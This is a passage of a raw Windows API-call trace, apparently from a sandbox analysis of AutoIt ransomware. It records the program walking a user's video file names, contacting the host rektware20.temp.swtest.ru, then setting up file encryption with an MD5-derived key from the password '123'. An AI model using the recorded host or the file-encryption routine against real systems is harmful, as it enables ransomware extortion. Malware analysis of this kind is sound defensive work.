lpString1="s\\So-1KCafWr2NHN2gajyB\\jSWLRBZahJ8aGfjzd-.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.406] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\So-1KCafWr2NHN2gajyB\\jSWLRBZahJ8aGfjzd-.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.406] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="So-1KCafWr2NHN2gajyB\\jSWLRBZahJ8aGfjzd-.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.406] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="o-1KCafWr2NHN2gajyB\\jSWLRBZahJ8aGfjzd-.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.406] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="-1KCafWr2NHN2gajyB\\jSWLRBZahJ8aGfjzd-.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.407] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="1KCafWr2NHN2gajyB\\jSWLRBZahJ8aGfjzd-.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.407] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="KCafWr2NHN2gajyB\\jSWLRBZahJ8aGfjzd-.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.407] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CafWr2NHN2gajyB\\jSWLRBZahJ8aGfjzd-.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.407] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="afWr2NHN2gajyB\\jSWLRBZahJ8aGfjzd-.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.407] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="fWr2NHN2gajyB\\jSWLRBZahJ8aGfjzd-.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.407] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Wr2NHN2gajyB\\jSWLRBZahJ8aGfjzd-.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.407] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="r2NHN2gajyB\\jSWLRBZahJ8aGfjzd-.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.407] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="2NHN2gajyB\\jSWLRBZahJ8aGfjzd-.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.407] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="NHN2gajyB\\jSWLRBZahJ8aGfjzd-.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.407] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="HN2gajyB\\jSWLRBZahJ8aGfjzd-.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.407] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="N2gajyB\\jSWLRBZahJ8aGfjzd-.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.407] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="2gajyB\\jSWLRBZahJ8aGfjzd-.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.407] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="gajyB\\jSWLRBZahJ8aGfjzd-.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.408] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ajyB\\jSWLRBZahJ8aGfjzd-.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.408] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="jyB\\jSWLRBZahJ8aGfjzd-.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.408] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="yB\\jSWLRBZahJ8aGfjzd-.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.408] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="B\\jSWLRBZahJ8aGfjzd-.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.408] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\jSWLRBZahJ8aGfjzd-.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.409] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="jSWLRBZahJ8aGfjzd-.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.409] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="SWLRBZahJ8aGfjzd-.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.409] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="WLRBZahJ8aGfjzd-.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.409] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="LRBZahJ8aGfjzd-.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.409] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="RBZahJ8aGfjzd-.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.409] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="BZahJ8aGfjzd-.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.409] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ZahJ8aGfjzd-.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.409] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ahJ8aGfjzd-.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.409] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="hJ8aGfjzd-.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.409] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="J8aGfjzd-.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.409] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="8aGfjzd-.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.409] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="aGfjzd-.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.410] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Gfjzd-.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.410] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="fjzd-.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.410] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="jzd-.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.410] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="zd-.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.410] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="d-.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.410] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="-.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 1 [0066.410] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 1 [0066.410] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.410] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0066.410] CharUpperBuffW (in: lpsz="CRYPT", cchLength=0x5 | out: lpsz="CRYPT") returned 0x5 [0066.410] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0066.411] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0066.411] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130edc8 | out: lpUrlComponents=0x130edc8) returned 1 [0066.411] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0066.411] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ee10, dwBufferLength=0x8) returned 1 [0066.411] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x0, lpdwBufferLength=0x130ee1c) returned 0 [0066.411] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620df0, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x1620df0, lpdwBufferLength=0x130ee1c) returned 1 [0066.411] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0066.411] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0066.412] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0066.413] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130edd0, lpdwBufferLength=0x130edc8, lpdwIndex=0x130edcc*=0x0 | out: lpBuffer=0x130edd0*, lpdwBufferLength=0x130edc8*=0x4, lpdwIndex=0x130edcc*=0x0) returned 1 [0066.413] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130edec, lpdwBufferLength=0x130ee18, lpdwIndex=0x130ee1c*=0x0 | out: lpBuffer=0x130edec*, lpdwBufferLength=0x130ee18*=0x2, lpdwIndex=0x130ee1c*=0x1) returned 1 [0066.414] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130edcc, dwFlags=0x0, dwContext=0x0) returned 1 [0066.414] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x16292c0, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x16292c0*, lpdwNumberOfBytesRead=0x130edd0*=0x2) returned 1 [0066.414] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x16293e0, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x16293e0*, lpdwNumberOfBytesRead=0x130edd0*=0x0) returned 1 [0066.414] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0066.415] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0066.415] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0066.415] CloseHandle (hObject=0x0) returned 0 [0066.415] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.415] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\jSWLRBZahJ8aGfjzd-.mp4", lpFindFileData=0x130ebb0 | out: lpFindFileData=0x130ebb0) returned 0x164cb30 [0066.415] FindClose (in: hFindFile=0x164cb30 | out: hFindFile=0x164cb30) returned 1 [0066.415] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.415] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0066.415] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0066.415] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0066.415] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0066.415] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0066.416] LoadLibraryW (lpLibFileName="Advapi32.dll") returned 0x74c60000 [0066.416] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0066.416] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0066.416] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0066.416] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0066.416] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0066.416] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0066.417] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0066.417] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0066.417] PeekMessageW (in: lpMsg=0x130e8bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e8bc) returned 0 [0066.417] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0066.417] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0066.417] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x164df90, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContext", lpUsedDefaultChar=0x0) returned 20 [0066.417] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContext") returned 0x0 [0066.417] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0066.418] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x164df90, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContextA", lpUsedDefaultChar=0x0) returned 21 [0066.418] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContextA") returned 0x74c80c00 [0066.418] CryptAcquireContextA (in: phProv=0x130e890, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x130e890*=0x17aa670) returned 1 [0066.419] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0066.419] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0066.419] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0066.419] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0066.419] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0066.419] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0066.419] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0066.419] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0066.419] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0066.419] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0066.419] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0066.420] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0066.420] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.420] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.420] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.420] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0066.420] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.420] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.420] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0066.420] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0066.420] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0066.421] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0066.421] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0066.421] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0066.421] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0066.421] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0066.421] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0066.421] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0066.421] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.421] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.421] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0066.421] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0066.421] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0066.421] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0066.421] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0066.421] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0066.421] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x16214e0, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptCreateHash", lpUsedDefaultChar=0x0) returned 16 [0066.422] GetProcAddress (hModule=0x74c60000, lpProcName="CryptCreateHash") returned 0x74c7f930 [0066.422] CryptCreateHash (in: hProv=0x17aa670, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x130e600 | out: phHash=0x130e600) returned 1 [0066.422] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.422] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.422] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.422] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.423] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0066.423] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x1629590, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0066.423] CharLowerBuffW (in: lpsz="byte[3]", cchLength=0x7 | out: lpsz="byte[3]") returned 0x7 [0066.423] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.423] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0066.423] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x1629570, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0066.423] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.423] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0066.423] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0066.423] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0066.423] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0066.423] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x1621648, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptHashData", lpUsedDefaultChar=0x0) returned 14 [0066.424] GetProcAddress (hModule=0x74c60000, lpProcName="CryptHashData") returned 0x74c7f950 [0066.425] CryptHashData (hHash=0x164c370, pbData=0x16295c0, dwDataLen=0x3, dwFlags=0x1) returned 1 [0066.425] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.425] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.425] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.425] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0066.425] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0066.425] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0066.425] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0066.427] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0066.427] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, 